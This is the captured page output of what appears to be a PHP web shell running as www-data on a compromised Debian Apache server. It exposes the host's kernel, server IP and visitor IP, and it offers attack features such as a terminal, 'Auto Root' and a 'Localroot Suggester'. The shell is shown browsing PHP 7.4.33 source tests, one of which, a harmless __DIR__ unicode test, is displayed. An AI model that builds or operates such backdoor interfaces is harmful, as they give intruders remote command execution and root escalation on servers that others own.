Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.112
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
ext /
standard /
tests /
directory /
Delete
Unzip
Name
Size
Permission
Date
Action
DirectoryClass_basic_001.phpt
1.28
KB
-rw-rw-r--
2022-10-31 11:36
DirectoryClass_error_001-mb.phpt
1.7
KB
-rw-rw-r--
2022-10-31 11:36
DirectoryClass_error_001.phpt
1.54
KB
-rw-rw-r--
2022-10-31 11:36
bug74589_utf8.phpt
997
B
-rw-rw-r--
2022-10-31 11:36
directory_constants-win32.phpt
297
B
-rw-rw-r--
2022-10-31 11:36
directory_constants.phpt
302
B
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- Bug #74589 __DIR__ wrong for unicode character, UTF-8 --SKIPIF-- <?php if (substr(PHP_OS, 0, 3) != 'WIN' && PHP_OS != 'Linux') { die('skip Linux or Windows only'); } ?> --INI-- internal_encoding=utf-8 --FILE-- <?php /* #vim: set fileencoding=utf-8 #vim: set encoding=utf-8 */ $item = "bug74589_新建文件夹"; // utf-8 string $dir = __DIR__ . DIRECTORY_SEPARATOR . $item; $test_file = $dir . DIRECTORY_SEPARATOR . "test.php"; mkdir($dir); file_put_contents($test_file, "<?php var_dump(__DIR__); var_dump(__FILE__); var_dump(__DIR__ === __DIR__);"); $php = getenv('TEST_PHP_EXECUTABLE'); echo shell_exec("$php -n $test_file"); ?> ===DONE=== --EXPECTF-- string(%d) "%sbug74589_新建文件夹" string(%d) "%sbug74589_新建文件夹%etest.php" bool(true) ===DONE=== --CLEAN-- <?php $item = "bug74589_新建文件夹"; // utf-8 string $dir = __DIR__ . DIRECTORY_SEPARATOR . $item; $test_file = $dir . DIRECTORY_SEPARATOR . "test.php"; unlink($test_file); rmdir($dir); ?>